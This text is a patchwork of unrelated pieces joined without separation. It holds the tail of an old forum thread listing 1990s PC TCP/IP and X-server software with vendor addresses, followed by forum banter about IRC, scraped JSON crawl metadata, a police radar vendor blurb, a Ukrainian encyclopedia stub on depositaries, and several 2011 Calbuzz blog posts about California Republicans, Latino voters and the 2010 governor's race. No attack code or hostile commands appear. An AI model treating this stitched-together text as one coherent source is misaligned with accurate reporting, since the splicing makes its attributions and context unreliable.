Frontier BBS: (414)241-7083 *Downright Speculation Intercon TCP\/Connect II This package is the same as SuperTCP NFS with the addition of a Gopher client, and without X support. Intercon Systems; 950 Herndon Pkwy., Herndon, VA 22070; (703)709-5500 Downright Speculation TCP\/IP for DOS v2.10 IBM; Dept. E15, P.O. Box 12195, Research Triangle Park, NC 27709; (800)IBM-CALL Downright Speculation TCP\/IP Utilities for LanManager v1.0 Windows for Workgroups TCP\/IP Windows NT Microsoft; One Microsoft Way, Redmond WA 95052-6399; (206)882-8080 Downright Speculation TCP\/2 for DOS Essex Systems; (508)532-5511 Downright Speculation TTCP v1.2r2 Turbosoft Pty Ltd; 248 Johnston St., Annandale, NSW Aus. 2038; +61 2 552 1266, mailto:info@abccomp.oz.au OS\/2 *OS 3.0 Rumour has it that this includes a bunch of bundled applications, including a graphical Web browser, a Gopher, FTP, Telnet, Mail, and News. IBM, (800)426-2968, (800)426-2255 XWARE Downright Speculation Hummingbird Communications Hummingbird's PC X Server includes a TCP\/IP stack. They offer PC X servers for DOS, Windows, OS2, and Windows NT. These work over network adapters, as well as serial lines, at which they claim to be especially good. Features include: 32-bit, X11R5, easy installation, network installation, remote network management and configuration, BASIC scripting language, local Motif window manager, telnet, drag and drop FTP, development kit for porting X apps to the PC platform, line printer deamon, support for dozens of other TCP\/IP stacks, IPX\/SPX, and DECnet, and telephone line access. The hardware requirements are a 386 or better, Windows 3.1 or better, and 4mb of RAM. (for a network connection, you will need a network card) Hummingbird Communications, Ltd.; 2900 John Street, Markham, Ontario, Canada L3R 5G3; (905)470-1203, fax: (905)470-1207, email: colin.webster@hcl.com Suggestion PC-Xview PC-Xview is available for DOS or Windows, supporting use of X over the network. It also supports NCD's Xremote protocol that allows X to run over a modem much faster than could be achieved running a standard X package over SLIP or PPP. Network Computing Devices, Inc.; (800)793-7638 Downright speculation XVISION$449\n\nXVision allows X applications to run under Windows. You have a choice of\nrunning each X app in its own Window, or all X applications within one big\nWindow.\n\nVisionWare, Ltd.; 57 Cardigan Lane, Leeds, England; 44-0-532-788858,\n(800)222-0550, fax:44-0-532-304676\n\nDownright Speculation\nDesQView X\n\nDesQView X integrates networks of DOS and UNIX machines using the X-Windows\nprotocol, allowing DOS machines to act as X-Windows clients and servers.\n\nQuarterdeck Office Systems; 150 Pico Boulevard, Santa Monica, CA90405;\n(213)392-9851, fax:(213)399-3802\n\nDevelopment Software\nEpilogue Technology\n\nIncludes source code. mailto:info@epilogue.com, fax: (505)271-9788\n\nSpider Systems\n\nAvailable for many architectures, mailto:ian@spider.co.uk, fax:\n44-31-555-0664\n\nMarben Produit\nTCP\/IP Source\n\navailable, fax: 33-1-47.72.55.00\n\nNetwork Research\nFUSION\nSource available, fax: 1(805)485-8204\n\n------------------------------ END OF PART 5 ------------------------\n\nBernard Aboba\nAuthor of:\nThe Online User's Encyclopedia, Addison-Wesley, 1994\nThe PC-Internet Connection, Publisher's Group West, due in 1995\nmailto:aboba@netcom.com\nFTP archive: ftp:\/\/ftp.zilker.net\/pub\/mailcom\/\nWWW page: http:\/\/www.zilker.net\/users\/internaut\/index.html\n\n4. that is seriously an overflow of info... just make a text file and attach it.. it took my browser a good 30 seconds to load all that... i did read here and there but most of that is very introductory but a good read indeed.. but do me a favor, edit it to an attached .txt..\n\n5. Speaking as one of the ego-inflated dickheads in irc.....irc is fine for getting information. You simply need to do your due dilligence first, find the right people to ask, and don't be retarded.\n\n6. Originally posted here by Juridian\nSpeaking as one of the ego-inflated dickheads in irc.....irc is fine for getting information. You simply need to do your due dilligence first, find the right people to ask, and don't be retarded.\nI didn't write that part. The email address at the bottom is of the author. I'm thinking you took that as a shot at you, but it wasn't. I already told you what I thought about egos.\n\n7. *shrugs* I thought it could have been, but it doesn't bother me at all. I was more interested in replying to the statement about irc being bad for info. IRC can be very good for getting help, I often go to certain channels to get help with an assortment of things if I've exhausted my other resources or need someone with a different viewpoint.\n\n8. Originally posted here by Juridian\n*shrugs* I thought it could have been, but it doesn't bother me at all. I was more interested in replying to the statement about irc being bad for info. IRC can be very good for getting help, I often go to certain channels to get help with an assortment of things if I've exhausted my other resources or need someone with a different viewpoint.\nI agree with that, IRC can be a great resource if the check list you made is taken into consideration. I'm hoping to make this post a little different. I think I'm going to chop the \"halves\" in half again. I had all of this is one post at first and it was NOt working well. So I made it into two posts, then the final 3.\n\nIt was hard as hell trying to sort through the over 3,000 text files I have found and written to put this together, but I think it's good to have a big ass thread where someone wityh some free time can learn alot about things in TCP\/IP including a bit on security at the same time.\n\nThat's why I mainly added the TCP attack info. It's slightly dated but can give people an idea of how the security aspect works out without just printing them instructions.\n\nWhile we have our lil convorsation going, how do you feel I did on this giant post J? I know if I chop it down I'll probably redo how it's laid out, it looks slightly messy to me. I just wanted to be sure it would post.\n\n9. From what I've gathered so far, some parts are good and others i think could use some serious editing. I need to go through it a bit more thoroughly to really give an educated opinion. So much to read, so little time...\n\n10. Originally posted here by Juridian\nFrom what I've gathered so far, some parts are good and others i think could use some serious editing. I need to go through it a bit more thoroughly to really give an educated opinion. So much to read, so little time...\nHeh, yea I think this thing needs a clean up job. The size is huge but I wanted to get enough in from each section to actually get a good reaction on what was good and what can be taken out without spoiling the over all document. I have this on my HD in two peices right now going over it to see what could me trimmed.\n\nPage 1 of 2 12 Last\n\n#### Posting Permissions\n\n\u2022 You may not post new threads\n\u2022 You may not post replies\n\u2022 You may not post attachments\n\u2022 You may not edit your posts\n\u2022","date":"2020-07-10 12:40:49","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.28474003076553345, \"perplexity\": 8579.050143183686}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655908294.32\/warc\/CC-MAIN-20200710113143-20200710143143-00560.warc.gz\"}"} | null | null |
Pulse Technology Partners, LLC, corporate, headquartered in Brentwood, TN, offers a wide range of speed measurement and traffic calming products for the law enforcement community. All of the products offered by Pulse Technology Partners; including our OnSite 300MX mobile deployment unit, our pole mounted OnSite 75MX and the handheld PulseMINI Radar, provide high quality, advanced technology solutions to police forces nationwide. In addition, Pulse Technology Partners, LLC also offers complimentary traffic management hardware and software.
Pulse Technology Partners (PTP) is committed to providing the very best in technology, service, and support for today's professionals in public safety, D.O.T., construction, forestry, and rail. PTP provides hundreds of different products that enable those who use them to do their jobs more effectively and efficiently. Our products also raise the overall safety level of sometimes hazardous environments, keeping the worker safer as well as the general public. Explore our product options below. Feel free to reach out to us with questions. | {
"redpajama_set_name": "RedPajamaC4"
} | 9,168 |
Депозитарій (від — сховище):
Депозитарій цінних паперів — професійний учасник ринку цінних паперів, що здійснює послуги із зберігання сертифікатів цінних паперів і здійснює послуги з обліку переходу прав власності на цінні папери.
Депозитарій міжнародного договору — в міжнародному праві держава або міжнародна організація, що узяли на себе зобов'язання зберігати текст міжнародного договору, документи про його ратифікацію і так далі.
Депозитарний банк — банк, що здійснює зберігання цінних паперів і інших фінансових активів клієнтів, а також управління цими цінними паперами.
Література
О. В. Буткевич. Депозитарій // Українська дипломатична енциклопедія: У 2-х т. /Редкол.:Л. В. Губерський (голова) та ін. — К: Знання України, 2004 — Т.1 — 760с. ISBN 966-316-039-X
Посилання
Депозитарій // | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 8,960 |
{"url":"https:\/\/ajayshahblog.blogspot.com\/2015\/07\/what-is-role-of-wpi-in-monetary-policy.html","text":"## Wednesday, July 22, 2015\n\n### What is the role of WPI in monetary policy?\n\nby Jeetendra.\n\nThe RBI just can't seem to catch a break. Try as it might, it just can't seem to escape controversy, even over issues that in other countries are not exactly controversial. Take the case of which particular inflation index the RBI should use as its target. For an entire decade, people debated ferociously over whether the target should be the\u00a0 CPI or the WPI. Finally, about a year ago it seemed that all the arguments had been exhausted and a consensus had been reached that the CPI was best. So, Governor Rajan announced that henceforth the RBI would target the CPI.\n\nCase closed? Not at all! It turns out that reports of the debate's death had been greatly exaggerated. On July 9 the Business Standard reported that a growing chorus of businessmen and analysts are complaining that CPI targeting has led the RBI astray, causing it to set interest rates too high. They want the RBI to target the WPI, which shows that prices are actually falling.\n\nDid the RBI make a mistake? To answer this question one needs to go back to basics, and think about what monetary policy is trying to achieve.\n\nThe main goal of monetary policy is to provide a particular service to the population, the service of ensuring stable prices. This task is of such importance that the RBI was set up as a special institution, organisationally distinct and geographically separate from the government. When that set-up did not prove sufficient to safeguard low inflation, further reinforcements were put in place. The RBI adopted a formal inflation targeting regime, and the government in turn promised to provide the central bank with the operational independence needed to achieve the agreed inflation target. The Monetary Policy Framework Agreement, which was signed by Finance Secretary Rajiv Mehrishi and RBI Governor Raghuram Rajan on 20 February 2015, creates this formal arrangement. All this is being done because price stability is critical to the welfare of the population, especially the weaker sections who suffer badly whenever the prices of their necessities rise.\n\nSo far, so good. The problem comes when one needs to translate the universally agreed objective of price stability into a specific monetary policy stance. To do this, one needs three things. First, a specific measure of inflation. Second, a definition of what it means for this measure to be \u201cstable\u201d. And third, a framework (which could be based on an econometric model) for deciding what level of interest rates would best achieve the inflation objective.\n\nIn other countries, most of the debate has centred on the third issue, whereas the first two have proved relatively easy to address. Virtually all inflation targeting central banks define price stability as inflation somewhere between 2 percent and 5 percent. And they measure inflation using the CPI, because the objective is to improve consumer welfare, and the index that measures the price of consumption goods is the CPI.\n\nIn contrast, WPI is only distantly related to consumer welfare. For a start, it is unclear what the WPI is actually measuring. Its coverage is extremely limited, encompassing only the commodity-producing sectors and completely ignoring services, which constitute more than half of the economy. The few sectors that are included are then weighted according to their gross value of production, not their value-added. Consequently, the index is deeply unrepresentative of the economy.\n\nBut let\u2019s suppose the RBI were prepared to ignore these theoretical issues. It would run immediately into some very practical difficulties. Since the WPI consists mainly of commodities, the movement of this index is heavily influenced by developments in world markets, which the RBI cannot control. The RBI cannot determine the dollar price of oil. And while it can influence the rupee price by controlling the exchange rate, this is a dangerous strategy, as the East Asian countries discovered at their peril in the late 1990s, when their exchange rate pegs collapsed in crisis. So, the reality is that the RBI cannot control the WPI, and should not try to do so.\n\nDoes that mean the RBI should just ignore the WPI? Not at all. Recall that achieving price stability \u2013 even if measured solely by the CPI \u2013 requires a framework for figuring out what level of interest rates is required to obtain this objective. And this is where the WPI does indeed come in, as do various other measures of prices.\n\nJust not in the way that the analysts quoted in Business Standard argue. According to them, interest rates have been set on the premise that the economy and inflation are proceeding apace (as indicated by the rising CPI), whereas in reality manufacturers' prices are falling (as shown by the declining WPI). So firms are getting squeezed between high interest rates and low prices.\n\nFirms may well be suffering from a profit squeeze. In fact, the corporate results suggest they are. But you can\u2019t prove this by citing the WPI. That\u2019s because the WPI does not measure output prices, the prices at which firms are selling their goods. The index that does this is the PPI, or producer price index, which unfortunately does not exist for India. Rather, the WPI is essentially a measure of input prices, because it consists mainly of commodities, which are largely inputs into production. Accordingly, a falling WPI actually increases firms' margins, improving their profitability. (Think: oil.) As a result, there\u2019s no need, at least not from the falling WPI, to compensate firms in the form of lower interest rates.\n\nThat said, there is a kernel of truth in what the Business Standard analysts are saying. To see this, let\u2019s go back to basics again. Very broadly, inflation occurs when aggregate demand exceeds aggregate supply. And aggregate demand is influenced by many factors, including many different price indices. Consumption decisions depend in part on interest rates adjusted for CPI inflation. Export demand depends partly on interest rates less export price inflation. And investment demand is influenced by the difference between interest rates and PPI and WPI inflation. Summing up all of these factors is impossible to do intuitively. That\u2019s why central banks employ large econometric models to guide their policymaking.\n\nSo, in the end, the analysts quoted in Business Standard have a point. The WPI and its attendant data bank of price time series, should be taken into account, indeed perhaps is already taken into account, in the RBI\u2019s policy-making framework. But it cannot be the object of this framework. The sole inflation target should be, indeed must be, the CPI. After more than a decade, it is really time to put this debate to rest.\n\n#### 1 comment:\n\n1. In the context of India having high interest rates for last few years while they are at all time lows in many other countries, doubts arise as to whether our policy is on track or are we trying to bring in a global theoretical construct while ignoring the uncomfortable practical aspects of the issue. Some of these are:\n\n(1) A comment is made that WPI can not be controlled by RBI. But that applies to CPI as well?\n(2) If monetary policy does not have control on many items like food, fuel etc, shouldn't one look at core rather than total ?\n(3) What is the large difference between WPI and CPI attributable to? Is this a normal phenomenon, say even in other countries or other EM economies? Does this differential have any implication for monetary policy?\n(4) Why can not RBI or CSI construct and manage a PPI if that is what is relevant\n\nPlease note: Comments are moderated. Only civilised conversation is permitted on this blog. Criticising me is perfectly okay; uncivilised language is not. I delete any comment which is spam, has personal attacks against anyone, or uses foul language. I delete any comment which does not contribute to the intellectual discussion about the blog article in question.\n\nPlease note: LaTeX mathematics works. This means that if you want to say $10 you have to say \\$10.","date":"2017-12-16 11:12:45","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.3874783515930176, \"perplexity\": 1827.6097901691285}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948587577.92\/warc\/CC-MAIN-20171216104016-20171216130016-00229.warc.gz\"}"} | null | null |
using Exceptional.Infrastructure;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Exceptional.Domain.Application
{
public class ApplicationSearchQuery : IMessage
{
public string Name { get; set; }
}
} | {
"redpajama_set_name": "RedPajamaGithub"
} | 4,902 |
Q: How to echo an alert in PHP a string -- some confusion with single quote and double quotes I am completely confused about how to represent a string in an output echo statement to the screen to debug php.
First of all, this actually works perfect for me:
echo "<script type='text/javascript'>alert('Web Site Under Test -- line 344');</script>";
This used double quotes as part of the echo statement, on the outside of the command, so to speak, and single quotes on the alert statement. And it works.
So how would I send the contents of a string variable in the alert statement?
I think this should work
echo "<script type='text/javascript'>alert('$admin_ary -- ' $admin_ary);</script>";
Am I right?
Update
The variable is an array, not a string.
So using addslashes does not work
For example, this line:
echo "<script type='text/javascript'>alert('".addslashes($admin_ary." -- ".$admin_ary)."');</script>"; */
produces an alert that says
Array - Array
A: There are many ways about it, but variables are passed as values, not actual strings, inside double-quotes. So you're free to do alert('$admin_ary -- $admin_ary'); (note how the singlequote was moved, as the javascript string needs to be in quotes).
You can also concatenate the string, like this
echo "<script type='text/javascript'>alert('".$admin_ary." -- ".$admin_ary."');</script>";
Or just go out of PHP for the majority of the string, and echo where needed, like this
<?php /* Do PHP stuff */ ?>
<script type="text/javascript">alert('<?php echo $admin_ary." -- ".$admin_ary; ?>');</script>
<?php /* More PHP stuff */ ?>
If your $admin_ary contains singlequotes ', it will break the javascript. You can counter this by escaping them, with PHP functions as addslashes(), which can be done like this
echo "<script type='text/javascript'>alert('".addslashes($admin_ary." -- ".$admin_ary)."');</script>";
A: $wstr = 'www';
w_js_pure_alert($wstr);
function w_js_pure_alert($str)
{
echo '<script>alert("' . $str . '");</script>';
}
function w_js_pure_console($val)
{
echo '<script>console.log("' . $val . '");</script>';
}
function w_js_window_location($filename)
{
echo '<script>window.location="' . $filename . '"</script>';
}
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 9,491 |
Posts Tagged 'Jim Brulte'
Hasta la Vista GOP, or Why Cesar Chavez Lives On
As a union organizer, Cesar Chavez, whose birthday we commemorate today, was no friend of immigrants who slipped across the border illegally to provide cheap labor in the fields of California that undercut the drive for living wages for farm workers.
Hell, the United Farm Workers was known to have reported illegal strike-breakers to "la migra," and in 1973, they set up a "wet line" (imagine the outrage if anyone else had used the term) along the US-Mexico border to stop immigrants from sneaking into the country illegally and undermining the UFW's work organizing field hands.
But Chavez – especially in his later years — was a strong proponent of allowing illegal immigrants living and working here to become legalized, and today would surely be fighting for a path to citizenship, as his granddaughter, Dr. Cynthia Chavez, made clear in a TV ad for Jerry Brown during the 2010 governor's race.
Which makes today the perfect opportunity to focus on an issue that Calbuzz has hammered on repeatedly – the need for California Republicans to support a path to citizenship for illegal and undocumented workers. Not because it's the right and decent thing to do – never a powerful argument with the knuckle-dragging wing of the GOP — but because it's a matter of their party's political survival.
Failure to communicate: Don't take our word for it. Some of the smartest Republicans around make the case. "A pathway to citizenship for those who have entered the country illegally is the most important element of immigration reform for Latino voters," wrote Marty Wilson and Bob Moore, after a recent Moore Information survey of Latino voters in California.
According to the non-partisan Public Policy Institute of California, about nine in 10 Latinos (86%) favor giving illegal immigrants "a chance to keep their jobs and eventually apply for legal status." That's a position shared by 68% of Democrats and 62% of independents but just 41% of Republicans.
What we have here is a failure to communicate. And the political effects are profound.
"Latino voters are widely negative about the Republican Party (26% favorable/47% unfavorable/27% no opinion) and widely positive about the Democrat[ic] Party (62/22/17)," Wilson and Moore wrote. Nor is the GOP "going to win many Latino voters by stressing conservatism; only 22% suggest that Republicans should, 'stick to core values and nominate true Conservatives.'
Fully a third of Latino voters say they will never vote for a Republican although another third would consider GOP candidates if "Republicans move toward the center and nominate candidates who are less conservative."
The big picture: To appreciate the magnitude of the challenge for the Republicans in California, it helps to understand first the national context.
During the past decade, the Latino population in the U.S. grew 43 times faster than the non-Hispanic white population, the Census Bureau reported last week. Between 2000 and 2010 the U.S. Hispanic population grew 43%, to 50.5 million from 35.3 million. Latinos' share of the total population rose to 16% from 13% — accounting for more than half the total U.S. population growth in the decade.
At the same time, Census Bureau officials reported, the non-Hispanic white population grew by barely more than 1 percent, dropping as a portion of the total from to 64% from 69%.
"The states with the largest percent growth in their Hispanic populations include nine where the Latino population more than doubled, including a swath in the southeast United States – Alabama, Arkansas, Kentucky, Mississippi, North Carolina, Tennessee, and South Carolina. The Hispanic population also more than doubled in Maryland and South Dakota," reports the Pew Hispanic Center in an analysis of the Census Bureau report.
"In six states, growth in the Hispanic population accounted for all of those states' population growth; if the Hispanic population had not grown, those states would not have grown," Pew added. "They included Illinois, Louisiana, Massachusetts, New Jersey, New York and Rhode Island. In Michigan, the state population declined over the decade but the Hispanic population grew."
No place to hide: While Latinos in Florida, New York, Illinois and California cannot be viewed as a monolithic voting bloc – voters of Cuban, Puerto Rican, Haitian and Mexican ancestry, for example, cannot be easily categorized politically – surveys consistently find a common thread is a belief that there ought to be a mechanism for allowing illegal immigrants to become legal residents and/or full citizens.
And with the continued growth of Hispanics, red states are becoming less reliable safe harbors for Republicans (consider Nevada, for example) and so too are formerly "safe" Republican districts in California.
"Increasingly for California Republicans, there's no place to run, no place to hide," said Democratic consultant Garry South who, with former Republican state Sen. Jim Brulte, recently analyzed the changing electoral landscape for their partners at California Strategies.
"The demographics are moving so heavily against them, it's becoming very difficult to maintain a meaningful number of completely safe GOP seats almost anywhere.
"Most of the huge Latino growth between 2000 and 2010 was in inland areas normally considered Republican, not along the coast," South said "And Asians grew by even more than Latinos. Together, Latinos and Asian Americans now constitute an absolute majority of Californians. Republicans are getting on average about 30-35 percent of their votes. Do the math."
Said South and Brulte in their analysis:
Based upon the historical standard of "safe" verses "competitive" districts, there will likely be a few more competitive legislative and congressional districts. That said, given that the top two vote getters regardless of political party run off in the November general election, the historical notion of "safe" districts now no longer applies.
While many GOP legislators, donors and activists, believe a "fair" redistricting presents a great opportunity, there is also a huge potential downside risk for the GOP as well. If the Democratic Party's consistently overwhelming financial advantage is not countered at the legislative level, it is possible that Democrats [will] obtain a two-thirds majority in one or both houses of the state Legislature in 2012.
The GOP has not experienced a net pick up of legislative seats in a presidential election since 1984.
The Elephants' elephant: In their analysis of Latino voters, Wilson and Moore call immigration "the elephant in the GOP living room." The Arizona immigration law is widely unpopular among Latino voters, immigration reform is widely popular and Democrats are more likely than Republicans to be trusted, by a ratio 0f 57-21%, to reform immigration laws.
And the central issue is a pathway to citizenship.
Why is it so hard for Republicans to move on this issue? Because – partly in fear of an influx of Democratic-leaning voters – they've spent years railing against illegal immigration and appealing to the most nativistic and xenophobic impulses of their base voters. Steve Poizner and Meg Whitman – who otherwise might have been quite moderate on the issue – tacked so far right on immigration they made themselves pariahs among Latino voters in the 2010 governor's race.
Even Mike Murphy, who made a bloody fortune leading Whitman's disastrous 2010 campaign for governor, seems to have gotten the point. The GOP is saddled with a "base-driven strategy that has injected red-hot rhetoric into our party's message on immigration" he told the Washington Post. "Primary politics have made the situation even worse," Murphy said, suggesting as Chris Cillizza reported, that GOP opposition to some sort of path toward legalization is a "non-starter" for Hispanic voters. No duh.
Wilson and Moore tested one message they believe can help the GOP find greater favor among Latinos. "A candidate who says, 'secure the border first, stop illegal immigration, then find a way to address the status of people already here illegally' gets a favorable reaction from 73%," they found.
Others have suggested the GOP could favor legal residency, but not full citizenship with the right to vote, for undocumented workers. Still others say if an illegal immigrant serves in the U.S. military or graduates from college, he or she ought to be able to become a citizen.
How the keepers of the John Tanton anti-immigrant flame in California would react to a movement within the California Republican Party (or by a statewide GOP candidate) toward a more moderate line on immigration is, sadly, predictable. The phrase "head on a stick" comes to mind.
"I don't think a Republican candidate can win on this issue either way in California," said South "If they support a path to citizenship, they enrage and alienate their lily-white base. If they oppose it or try to straddle the issue, they just become the typical anti-immigrant Republican who wants to deport every Latino back to Mexico. They're fucked. Hee, hee."
Happy Cesar Chavez Day!
Tags: Arizona Immigration Law, Asian Americans, Asian Voters, Census, Cesar Chavez, Cesar Chavez Day, Dr. Cynthia Chavez, Garry South, Jim Brulte, latino voters, path to citizenship, Pew Hispanic Center, PPIC, primary politics, Public Policy Institute of California, residency, safe districts, United Farm Workers
Posted in California Governor's Race, California Politics, California Republican Party, Illegal Immigration, Immigration, poll | 10 Comments »
Why the CA Republicans are Flirting With Stalinism
In preparation for the statewide convention of the California Republican Party this weekend, the Calbuzz Department of Process, Rules and Schadenfreude has been in secret discussions with apparatchiks who are cooking up what you might call your Soviet Rule – whereby the GOP Politburo determines who's pure enough to get the party imprimatur in a top-two primary.
The idea is to ensure that before actual voters decide which candidates they want to consider in a November run-off election, the most conservative activists in the California GOP will meet and determine who the "actual" Republican in the race is, so that no polluted candidate can lay claim to the party label.
We've also taken a look at the GOP Alien and Sedition Act proposed by the cave-dwelling California Republican Assembly, which would expel any GOP legislators who vote to put Gov. Jerry Brown's tax extension on the June ballot.
The proposed resolution (and we quote) "censures these traitorous Republicans-in-Name-Only, ask(s) for their resignation(s) from their positions within the California Republican Party, pledges to endorse and support efforts to recall them from office, and directs the California Republican Party staff, agents and officers to refuse to provide them with funding or assistance in future elections."
As if the CRP had any money or assistance to give.
In the words of Jim Brulte, the former legislative leader and perhaps the smartest GOP thinker in the state: "If the California Republican Party spent half as much time trying to elect Republicans in November as they do trying to purify the party in June, we'd have a lot more elected Republicans."
But the true believers would rather have 20% of the Legislature populated by purist ideologues than have 50% and a healthy dose of diverse thinking.
The Democrats also have a system for endorsing candidates that was adopted before the top-two primary was approved by the voters. But in cases where there are open seats and several candidates, the party seldom endorses because the threshold is so high. And when it does, whoever wins the primary – endorsed or not — is automatically the party's nominee. How that will work in a top-two primary remains to be determined: maybe the Dems will come up with a similar system of purging one of their own, too.
But for now, it's the upcoming Republican convention that's at hand and it looks like it's going to be a warriors' weekend. There's even a proposal on the table to ensure than any incumbent legislator is automatically endorsed by the party – even though those legislators may be running in different districts after the citizens' reapportionment is completed.
Comrade Jon "Josef" Fleischman explained why the Reeps are so stirred up: "The idea is that unless the Republican Party is behind someone, we might not have a candidate in the top two."
But what if the voters in a district opt for the non-endorsed, unpure (perhaps even –gasp – a moderate) Republican as one of their top-two choices? How will the Politburo react? Just because a candidate says he or she is a Republican doesn't necessarily mean the party considers him or her an actual Republican. What if it's a pro-choice Republican? Or a Republican opposed to offshore oil drilling? Or – OMG – a RINO who voted to put Brown's tax measure on the ballot?
That's where Celeste Greig's grand ole' CRA resolution comes to the rescue – with a Great Purge, cleansing the party of unclean, odious moderates, seeking to make sure cats don't mix with dogs, that people can't marry chickens and that marginal tax rates aren't treated like bad cheese.
How else to ensure a robust, thriving and united party? How else to stamp out democratic centralism? How else to eliminate those Trotskyites lurking in secret cells in Anaheim, Redlands or Redding? Give 'em the axe, the axe, the axe, we say.
This is why we love covering politics: because just when you think things can't get more bizarre, some party chairman invites some dog-ass ideologue to debate the governor whose spokesman, appropriately, offers up an actual dog as a surrogate. Or the last remnants of a dying party apparatus sponsor resolutions and rule changes designed to narrow their party even further.
We should have to pay to cover this stuff. Oh wait, we already do.
Tags: Alien and Sedition Act, budget negotiations, California Republican Assembly, Great Purge, Jim Brulte, RINO
Posted in California Politics, California Republican Party, Campaign Regulation | 4 Comments »
Final Thoughts on IGS 2010 Gov Race Conference
In the end, the weekend conference on California's just-concluded campaign for governor looked a lot like the race itself: Meg Whitman refused to talk to an audience not of her choosing, got trashed for it and ended up the biggest loser for her selfish and self-absorbed behavior.
The UC Berkeley Institute of Governmental Studies confab, held every four years, drew its largest crowd ever, an eclectic collection of media and political hacks, earnest students and academic chrome domes, professional pollsters and political wannabes, all drawn by the opportunity to hear, first-hand from the operatives who ran the campaigns, the inside story of how the deal went down.
Beyond its sheer entertainment value for an audience of obsessed political junkies, the conference in the past also served the more serious purpose of establishing a permanent record of the process by which Californians chose their chief executive, an important resource for scholars, authors and journalists. But the 2011 version was unfortunately flawed by two big shortcomings:
First, not a single member of the mighty Legions of eMeg had the courage, concern for history, not to mention common courtesy, to show his or her face; despite heroic efforts to represent the Republican perspective by top-rank GOP pols who didn't work on the campaign (about whom more later) this left a huge hole in the record, given that Herself and Her Money, in many ways, became the story of the campaign.
Second, there was way too much spin and way too little candor by too many of those who did participate – an unfortunate departure from past years, which will leave a distorted and incomplete record of what was one of the most important campaigns in recent decades: "It just wasn't the real story of the campaign," one prominent political scientist complained at a post-conference reception. (Suggested reading for future scholars: this and this.)
That said, there still was value in the event, even if it was often to be found in the bar of the Hotel Shattuck Plaza and around the tables of nearby Berkeley restaurants, where war stories and unvarnished opinions were more frequently to be found. Some observations:
Most Valuable Player – The MVP of the conference was Jim Bognet, manager of Steve Poizner's losing GOP primary effort. Funny, smart and honest, Bognet offered a sense of what it was like day-after-day to go up against a rival funded by $180 million (Meg's spending "created its own center of gravity") and displayed how personal the battle got between the Republicans ("never was so much spent on so many for so little"). He also provided – in the form of advice to students in the room thinking about going into politics — the best single riff of the weekend, defining the ethical rot at the center of Team Whitman that led to the most expensive disaster in the history of American politics:
When you're getting paid a lot of money – and there were many consultants in this race that got paid a lot of money – it gives you an incentive not to speak truth to power. It gives you an incentive not to tell them what they don't want to hear as candidates. You are more valuable as a campaign staffer and as a human being if you're willing to say to the person who is paying your paycheck, "You are wrong. You need to talk to the press. You need to go out and answer these questions. You need to answer for why you switched your position." It is a conflict of interest because the same person that is paying you, you have to give hard advice and talk about things, personal things that are not comfortable to talk about. So I would say, you have to fight against that continuously in order to add value to your candidate.
Least Valuable Player – The LVP of the conference was Peter Ragone, representing Gavin Newsom's short and stunted primary bid for governor. Ragone is a nice guy and a competent operative, but his endless, obviously phony spin on behalf of the new Lite Governor had the audience groaning and looking for barf bags.
Newsom, it seems, is a politician of uncommon moral courage, motivated by only two idealistic factors – his unstinting and unselfish determination to do what is right and true and good for all the rest of us (after trashing the office of lieutenant governor, he changed his mind and ran because "he decided this was where he could the most good") and the high moral courage that drives him to put his family above all else (no mention of him boinking the wife of his chief of staff in the mayor's office). Self-interest never figures into it, Ragone would have us believe. Enough to make a hog puke. No matter what new UC Regent Newsom wanted, IGS should have invited Garry South and Nick Clemons, his actual gubernatorial campaign directors.
The missing characters — The transcript of the proceedings will be turned into a book which purportedly will serve as the final word on the governor's race. Puh-leeze. Consider this: the three most important behind-the-scenes players in the race – Brown's wife Anne Gust, Whitman major domo Henry Gomez and top strategist Mike Murphy – didn't figure in any of the discussions and, unless we missed it during a trip to the head or the cookie table, their names were never even mentioned. That's like doing Hamlet without Hamlet.
Kudos to the stand-ins. While eMeg's minions cowered in fear far away from Berkeley, former state chairmen Duf Sundheim and Bob Naylor, along with veteran strategist Jim Brulte, did a terrific job of describing the GOP perspective, their limited contacts with the candidate and her turf-conscious consultants, and how the establishment watched in horror as Whitman melted down.
